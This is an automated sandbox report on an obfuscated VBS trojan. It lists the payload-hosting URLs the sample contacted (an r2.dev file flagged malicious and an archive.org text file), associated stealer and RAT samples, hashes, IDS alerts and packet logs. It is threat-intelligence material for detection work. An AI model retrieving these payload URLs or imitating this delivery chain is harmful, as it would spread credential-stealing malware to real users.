http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	0%	URL Reputation	safe
https://oneget.org	0%	URL Reputation	safe
http://ip-api.com/line/?fields=hosting	0%	URL Reputation	safe
http://www.apache.org/licenses/LICENSE-2.0	0%	Virustotal		Browse
https://pub-26ee9be236b54d0cb1b570a203543b93.r2.dev	4%	Virustotal		Browse
http://www.apache.org/licenses/LICENSE-2.0.html	0%	Virustotal		Browse
https://ia600100.us.archive.org/24/items/detah-note-v/DetahNoteV.txt	10%	Virustotal		Browse
https://ia600100.us.archive.org/24/items/detah-note-v/DetahNoteV.txtFyL;DLjbase64Content	2%	Virustotal		Browse
http://pub-26ee9be236b54d0cb1b570a203543b93.r2.dev	16%	Virustotal		Browse
https://ia600100.us.archive.org	1%	Virustotal		Browse
http://ia600100.us.archive.org	0%	Virustotal		Browse
https://github.com/Pester/Pester	1%	Virustotal		Browse

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
ia600100.us.archive.org	207.241.227.240	true	false	0%, Virustotal, Browse	unknown
pub-26ee9be236b54d0cb1b570a203543b93.r2.dev	162.159.140.237	true	true	16%, Virustotal, Browse	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://ia600100.us.archive.org/24/items/detah-note-v/DetahNoteV.txt	false	10%, Virustotal, Browse	unknown
https://pub-26ee9be236b54d0cb1b570a203543b93.r2.dev/mmili.txt	true		unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://nuget.org/NuGet.exe	powershell.exe, 00000004.00000002.1572696203.000001A05C90C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1557394015.000001A04E252000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe URL Reputation: safe	unknown
http://www.apache.org/licenses/LICENSE-2.0	powershell.exe, 00000004.00000002.1557394015.000001A04DFC7000.00000004.00000800.00020000.00000000.sdmp	false	0%, Virustotal, Browse	unknown
https://account.dyn.com/	powershell.exe, 00000004.00000002.1572696203.000001A05D8A9000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://pesterbdd.com/images/Pester.png	powershell.exe, 00000004.00000002.1557394015.000001A04E1CC000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.apache.org/licenses/LICENSE-2.0.html	powershell.exe, 00000004.00000002.1557394015.000001A04E1CC000.00000004.00000800.00020000.00000000.sdmp	false	0%, Virustotal, Browse	unknown
https://go.micro	powershell.exe, 00000004.00000002.1557394015.000001A04D8BE000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://contoso.com/License	powershell.exe, 00000004.00000002.1557394015.000001A04E252000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://pub-26ee9be236b54d0cb1b570a203543b93.r2.dev	powershell.exe, 00000004.00000002.1557394015.000001A04CCE1000.00000004.00000800.00020000.00000000.sdmp	true	4%, Virustotal, Browse	unknown
https://contoso.com/Icon	powershell.exe, 00000004.00000002.1557394015.000001A04E252000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://ia600100.us.arX	powershell.exe, 00000004.00000002.1557394015.000001A04DF79000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://schemas.microsoft.c	wscript.exe, 00000000.00000003.1430184240.00000150A8BE7000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://ia600100.us.archive.org/24/items/detah-note-v/DetahNoteV.txtFyL;DLjbase64Content	powershell.exe, 00000004.00000002.1557394015.000001A04CAB3000.00000004.00000800.00020000.00000000.sdmp	false	2%, Virustotal, Browse	unknown
https://github.com/Pester/Pester	powershell.exe, 00000004.00000002.1557394015.000001A04E1CC000.00000004.00000800.00020000.00000000.sdmp	false	1%, Virustotal, Browse	unknown
https://contoso.com/	powershell.exe, 00000004.00000002.1557394015.000001A04E252000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://nuget.org/nuget.exe	powershell.exe, 00000004.00000002.1572696203.000001A05C90C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1557394015.000001A04E252000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://pub-26ee9be236b54d0cb1b570a203543b93.r2.dev	powershell.exe, 00000004.00000002.1557394015.000001A04CCE1000.00000004.00000800.00020000.00000000.sdmp	true	16%, Virustotal, Browse	unknown
https://oneget.orgX	powershell.exe, 00000004.00000002.1557394015.000001A04DFC7000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://ia600100.us.archive.org	powershell.exe, 00000004.00000002.1557394015.000001A04D8BE000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1557394015.000001A04CAB3000.00000004.00000800.00020000.00000000.sdmp	false	1%, Virustotal, Browse	unknown
https://aka.ms/pscore68	powershell.exe, 00000002.00000002.1608428620.000001EBC0C32000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.1608428620.000001EBC0C19000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1557394015.000001A04C891000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	powershell.exe, 00000002.00000002.1608428620.000001EBC0C5E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1557394015.000001A04C891000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://oneget.org	powershell.exe, 00000004.00000002.1557394015.000001A04DFC7000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://ia600100.us.archive.org	powershell.exe, 00000004.00000002.1557394015.000001A04DF7F000.00000004.00000800.00020000.00000000.sdmp	false	0%, Virustotal, Browse	unknown
http://ip-api.com/line/?fields=hosting	powershell.exe, 00000004.00000002.1572696203.000001A05D8A9000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
162.159.140.237	pub-26ee9be236b54d0cb1b570a203543b93.r2.dev	United States		13335	CLOUDFLARENETUS	true
207.241.227.240	ia600100.us.archive.org	United States		7941	INTERNET-ARCHIVEUS	false

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1523820
Start date and time:	2024-10-02 05:21:06 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 35s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	13
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	PofaABvatI.vbs renamed because original name is a hash value
Original Sample Name:	05f1bfad1052e82ed6fc8d3348ea86f1958b8d8f39d331967edba843ce1214f7.vbs
Detection:	MAL
Classification:	mal100.troj.expl.evad.winVBS@16/5@2/2
EGA Information:	Successful, ratio: 50%
HCA Information:	Successful, ratio: 73% Number of executed functions: 5 Number of non-executed functions: 2
Cookbook Comments:	Found application associated with file extension: .vbs Stop behavior analysis, all processes terminated

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, SIHClient.exe, conhost.exe
Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target powershell.exe, PID 2952 because it is empty
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
23:22:08	API Interceptor	45x Sleep call for process: powershell.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
162.159.140.237	http://pub-0ae50a4c573c409f93585499aeac650f.r2.dev/cvbnmkjh.html	Get hash	malicious	HTMLPhisher	Browse	pub-0ae50a4c573c409f93585499aeac650f.r2.dev/cvbnmkjh.html
	http://pub-7c9ee239002440a79f4b2c5934b13627.r2.dev/higher.html	Get hash	malicious	HTMLPhisher	Browse	pub-7c9ee239002440a79f4b2c5934b13627.r2.dev/higher.html
	http://pub-ca8a3ace07094ee9967971c12a96a935.r2.dev/index.html	Get hash	malicious	HTMLPhisher	Browse	pub-ca8a3ace07094ee9967971c12a96a935.r2.dev/index.html
	http://pub-6f594b43277e4071a0c14266387a1ea8.r2.dev/fdsaghjk.html	Get hash	malicious	HTMLPhisher	Browse	pub-6f594b43277e4071a0c14266387a1ea8.r2.dev/fdsaghjk.html
	http://pub-d2dba8f127424f0cb0341658081256fa.r2.dev/kjhdishs.html	Get hash	malicious	HTMLPhisher	Browse	pub-d2dba8f127424f0cb0341658081256fa.r2.dev/kjhdishs.html
	http://pub-64fd1e2750a4440ab4fe49fc5a421a35.r2.dev/index.html	Get hash	malicious	HTMLPhisher	Browse	pub-64fd1e2750a4440ab4fe49fc5a421a35.r2.dev/index.html
	http://pub-72f4175190054b068a6db1f116f55ca9.r2.dev/index.html	Get hash	malicious	HTMLPhisher	Browse	pub-72f4175190054b068a6db1f116f55ca9.r2.dev/index.html
	http://pub-9a2fba40e7084a1eb9d96885ba6cecf2.r2.dev/index.html	Get hash	malicious	HTMLPhisher	Browse	pub-9a2fba40e7084a1eb9d96885ba6cecf2.r2.dev/index.html
	http://pub-a5dea08759934238bd2363b86fdeed1a.r2.dev/makinsalin.html	Get hash	malicious	Outlook Phishing, HTMLPhisher	Browse	pub-a5dea08759934238bd2363b86fdeed1a.r2.dev/makinsalin.html
	http://pub-783fdf92836240fa96dda87e23c5c881.r2.dev/index.html	Get hash	malicious	HTMLPhisher	Browse	pub-783fdf92836240fa96dda87e23c5c881.r2.dev/index.html
207.241.227.240	SecuriteInfo.com.Exploit.CVE-2017-11882.123.29427.26024.rtf	Get hash	malicious	PureLog Stealer	Browse
	RFQ 2024.09.26-89 vivecta.vbs	Get hash	malicious	PureLog Stealer	Browse
	AGMETIGA zapytanie ofertowe.xls	Get hash	malicious	PureLog Stealer	Browse
	sostener.vbs	Get hash	malicious	Remcos, PureLog Stealer	Browse
	asegurar.vbs	Get hash	malicious	Remcos, PureLog Stealer	Browse
	SecuriteInfo.com.Exploit.CVE-2017-11882.123.31177.14968.rtf	Get hash	malicious	Remcos, PureLog Stealer	Browse
	LJ1IZDkHyE.hta	Get hash	malicious	Cobalt Strike, Remcos, PureLog Stealer	Browse
	hnvc.vbs	Get hash	malicious	PureLog Stealer	Browse
	wm.vbs	Get hash	malicious	PureLog Stealer, XWorm	Browse
	TM3utH2CsU.exe	Get hash	malicious	PureLog Stealer, XWorm	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
pub-26ee9be236b54d0cb1b570a203543b93.r2.dev	mitec_purchase_order_PDF (1).vbs	Get hash	malicious	PXRECVOWEIWOEI Stealer	Browse	172.66.0.235
	REQUEST FOR QUOTATION.js	Get hash	malicious	PXRECVOWEIWOEI Stealer, PureLog Stealer	Browse	172.66.0.235
	Company profile.js	Get hash	malicious	PXRECVOWEIWOEI Stealer, PureLog Stealer	Browse	162.159.140.237
	Quote_Request.js	Get hash	malicious	PureLog Stealer	Browse	172.66.0.235
	Enquiry.js	Get hash	malicious	PureLog Stealer	Browse	172.66.0.235
	Purchase Order.js	Get hash	malicious	PXRECVOWEIWOEI Stealer, PureLog Stealer	Browse	162.159.140.237
	RFQ.vbs	Get hash	malicious	PXRECVOWEIWOEI Stealer, PureLog Stealer	Browse	162.159.140.237
	HONG_KONG_CHEMHERE_QUOTE_REQUEST.vbs	Get hash	malicious	PXRECVOWEIWOEI Stealer, PureLog Stealer	Browse	104.18.3.35
	Data-Sheet.js	Get hash	malicious	Unknown	Browse	104.18.3.35
	Enquiry.js	Get hash	malicious	Unknown	Browse	104.18.2.35
ia600100.us.archive.org	SecuriteInfo.com.Exploit.CVE-2017-11882.123.29427.26024.rtf	Get hash	malicious	PureLog Stealer	Browse	207.241.227.240
	RFQ 2024.09.26-89 vivecta.vbs	Get hash	malicious	PureLog Stealer	Browse	207.241.227.240
	AGMETIGA zapytanie ofertowe.xls	Get hash	malicious	PureLog Stealer	Browse	207.241.227.240
	sostener.vbs	Get hash	malicious	Remcos, PureLog Stealer	Browse	207.241.227.240
	asegurar.vbs	Get hash	malicious	Remcos, PureLog Stealer	Browse	207.241.227.240
	SecuriteInfo.com.Exploit.CVE-2017-11882.123.31177.14968.rtf	Get hash	malicious	Remcos, PureLog Stealer	Browse	207.241.227.240
	LJ1IZDkHyE.hta	Get hash	malicious	Cobalt Strike, Remcos, PureLog Stealer	Browse	207.241.227.240
	hnvc.vbs	Get hash	malicious	PureLog Stealer	Browse	207.241.227.240
	wm.vbs	Get hash	malicious	PureLog Stealer, XWorm	Browse	207.241.227.240
	BL.xls	Get hash	malicious	Remcos, PureLog Stealer	Browse	207.241.227.240

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	mitec_purchase_order_PDF (1).vbs	Get hash	malicious	PXRECVOWEIWOEI Stealer	Browse	172.66.0.235
	http://lamourskinclinic.com.au	Get hash	malicious	Unknown	Browse	104.18.10.207
	https://unpaidrefund.top/view/mygov	Get hash	malicious	HTMLPhisher	Browse	188.114.96.3
	payment copy.exe	Get hash	malicious	FormBook	Browse	23.227.38.74
	DHL Shipping documents 0020398484995500.exe	Get hash	malicious	AgentTesla	Browse	104.26.12.205
	https://docs.google.com/presentation/d/e/2PACX-1vRuKBrQqA6BNfxZo0BAmhaaVHWHS5xGpGnvHJ3KKWtc6LdsEuOoWSlBNaOKZjp5GXLjhWJKRMb-grou/pub?start=false&loop=false&delayms=3000	Get hash	malicious	Unknown	Browse	104.21.46.216
	https://sanbernardinoscounty.telcom-info.com/	Get hash	malicious	HtmlDropper	Browse	104.21.55.67
	Electronic_Receipt_ATT0001.htm	Get hash	malicious	Unknown	Browse	104.17.25.14
	http://t1.global.clubavolta.com/r/?id=h53ebcb4b,29506a5f,2988ba3e&e=cDE9UkVEX0dMX0xveWFsdHlMYXVuY2hTb2x1cy1OT0NPTS1BTEwtMDExMDIwMjQtMV9YWCZwMj1kNzEwNWE1Zi00NjE3LWVmMTEtOWY4OS0wMDBkM2EyMmNlYTE&s=MLotNdk8aEH7W1636YhgxIdQC5od3UWYqTZw3tm9630	Get hash	malicious	Unknown	Browse	172.67.180.104
	http://www.johnhdaniel.com	Get hash	malicious	Unknown	Browse	104.18.36.155
INTERNET-ARCHIVEUS	SecuriteInfo.com.Exploit.CVE-2017-11882.123.29427.26024.rtf	Get hash	malicious	PureLog Stealer	Browse	207.241.227.240
	SecuriteInfo.com.Exploit.CVE-2017-11882.123.22759.7388.rtf	Get hash	malicious	Remcos	Browse	207.241.227.96
	RFQ 2024.09.26-89 vivecta.vbs	Get hash	malicious	PureLog Stealer	Browse	207.241.227.240
	AGMETIGA zapytanie ofertowe.xls	Get hash	malicious	PureLog Stealer	Browse	207.241.227.240
	REQUEST FOR QUOTATION.js	Get hash	malicious	PXRECVOWEIWOEI Stealer, PureLog Stealer	Browse	207.241.235.61
	sostener.vbs	Get hash	malicious	Remcos, PureLog Stealer	Browse	207.241.227.240
	asegurar.vbs	Get hash	malicious	Remcos, PureLog Stealer	Browse	207.241.227.240
	SecuriteInfo.com.Exploit.CVE-2017-11882.123.31177.14968.rtf	Get hash	malicious	Remcos, PureLog Stealer	Browse	207.241.227.240
	http://www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com	Get hash	malicious	Unknown	Browse	207.241.237.3
	LJ1IZDkHyE.hta	Get hash	malicious	Cobalt Strike, Remcos, PureLog Stealer	Browse	207.241.227.240

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
3b5074b1b5d032e5620f69f9f700ff0e	file.exe	Get hash	malicious	Credential Flusher	Browse	162.159.140.237 207.241.227.240
	mitec_purchase_order_PDF (1).vbs	Get hash	malicious	PXRECVOWEIWOEI Stealer	Browse	162.159.140.237 207.241.227.240
	DHL Shipping documents 0020398484995500.exe	Get hash	malicious	AgentTesla	Browse	162.159.140.237 207.241.227.240
	http://tvsurf.jp/	Get hash	malicious	Unknown	Browse	162.159.140.237 207.241.227.240
	https://files.constantcontact.com/2d77228b901/702368a5-3f96-4cb6-b61d-aab8728be1ff.pdf	Get hash	malicious	Unknown	Browse	162.159.140.237 207.241.227.240
	https://sanbernardinoscounty.telcom-info.com/	Get hash	malicious	HtmlDropper	Browse	162.159.140.237 207.241.227.240
	OXrZ6fj4Hq.exe	Get hash	malicious	Neshta, Oski Stealer, StormKitty, SugarDump, Vidar, XWorm	Browse	162.159.140.237 207.241.227.240
	Pedido09669281099195.com.exe	Get hash	malicious	DarkTortilla, Quasar	Browse	162.159.140.237 207.241.227.240
	https://finalstepgetshere.com/uploads/beta9.zip	Get hash	malicious	LummaC	Browse	162.159.140.237 207.241.227.240
	https://k7qo.sarnerholz.cam/APRjVfmk	Get hash	malicious	Unknown	Browse	162.159.140.237 207.241.227.240

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1940658735648508
Encrypted:	false
SSDEEP:	3:NlllulN7rlz:NllU
MD5:	60800FE3EBA2CA09118A33A34BF00BD8
SHA1:	4DBA1472443F1B047803693393F61A2182695D2A
SHA-256:	D85FCEE5CD239F2EE739F27980E9EBB1BE0573405BC7C004DB4E828D1A2D50A0
SHA-512:	AFD4B6861BD4A06C23FEC68375FD4B012E8A456ED8EEF708B3F50C6FCD40D7B599B9967EDCFF9E917F9B8BF567ED2B6C5B7EE83AA2F6965A6D02BB1DABB9010F
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	@...e................................................@..........

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_g2z0jdzt.y3b.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_imjo0fb3.tpc.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ivh5jr3q.ho4.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_y1rgkfnh.2q1.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

Static File Info

General

File type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Entropy (8bit):	3.7400157753176115
TrID:	Text - UTF-16 (LE) encoded (2002/1) 64.44% MP3 audio (1001/1) 32.22% Lumena CEL bitmap (63/63) 2.03% Corel Photo Paint (41/41) 1.32%
File name:	PofaABvatI.vbs
File size:	512'924 bytes
MD5:	5b4a21e35cce386f8692a4a5d684cb14
SHA1:	38cefdde89a5577f3d89396afd6fc15c8f89200e
SHA256:	05f1bfad1052e82ed6fc8d3348ea86f1958b8d8f39d331967edba843ce1214f7
SHA512:	94543f5006c02fe0df66d9c6517831bc7afa22336372d2f87de1f0d21028b5d228850fe4d03e9c8721d4fb4e44d34c711a21a7abf35e1268f1293daab07b30b2
SSDEEP:	12288:Ppg9Y9TU6WMHM8GjqgjuLlXxp7kuqXZqDpw20ADLlpfMom6av1o0pLtxoo/Obx5X:GUsZkfqezIZy30W7
TLSH:	E5B41B1135EAB048F1F32FA356ED55E94FABB5662A36911E7048070F4BA3E80CE51B73
File Content Preview:	..f.L.L.o.O.o.b.W.r.A.p.A.C.O.R.G.i.W.u.W.Z.a.K.W.i.p.U.f.W.x.P.O.L.a.A.A.L.K.G.i.m.j.O.t.x.c.c.K.z.i.O.P.Z.W.O.e.L.R.O.U.d.i.b.L.O.P.c.W. .=. .".A.i.t.x.B.t.q.L.u.a.K.W.W.r.i.W.A.c.z.q.U.t.G.N.H.W.p.c.t.W.A.A.L.f.u.k.f.i.W.L.m.L.A.B.b.A.P.L.G.A.o.c.A.K.u

File Icon


Icon Hash:	68d69b8f86ab9a86

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-10-02T05:22:14.532509+0200	2020425	ET EXPLOIT_KIT Unknown EK Landing Feb 16 2015 b64 3 M1	1	162.159.140.237	443	192.168.2.8	49705	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 2, 2024 05:22:09.763345003 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:22:09.763380051 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:09.763473034 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:22:09.772000074 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:22:09.772013903 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:10.426822901 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:10.427093983 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:22:10.431406975 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:22:10.431423903 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:10.431751013 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:10.447789907 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:22:10.495403051 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:10.718492985 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:10.718532085 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:10.718569994 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:10.718636036 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:22:10.718652010 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:10.718699932 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:22:10.718699932 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:22:10.745038033 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:10.745060921 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:10.745234013 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:22:10.745234013 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:22:10.745244026 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:10.745348930 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:22:10.784898043 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:10.784924030 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:10.785074949 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:22:10.785095930 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:10.785162926 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:22:10.836236000 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:10.836260080 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:10.836369038 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:22:10.836379051 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:10.836436033 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:22:10.837995052 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:10.838011026 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:10.838098049 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:22:10.838105917 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:10.838176966 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:22:10.838994980 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:10.839010954 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:10.839082956 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:22:10.839088917 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:10.839135885 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:22:10.903353930 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:10.903379917 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:10.903542042 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:22:10.903556108 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:10.903639078 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:22:10.929178953 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:10.929203987 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:10.929331064 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:22:10.929342031 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:10.929394007 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:22:10.930635929 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:10.930656910 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:10.930748940 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:22:10.930757046 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:10.930834055 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:22:10.931694984 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:10.931745052 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:10.931796074 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:22:10.931796074 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:22:10.931804895 CEST	443	49704	207.241.227.240	192.168.2.8
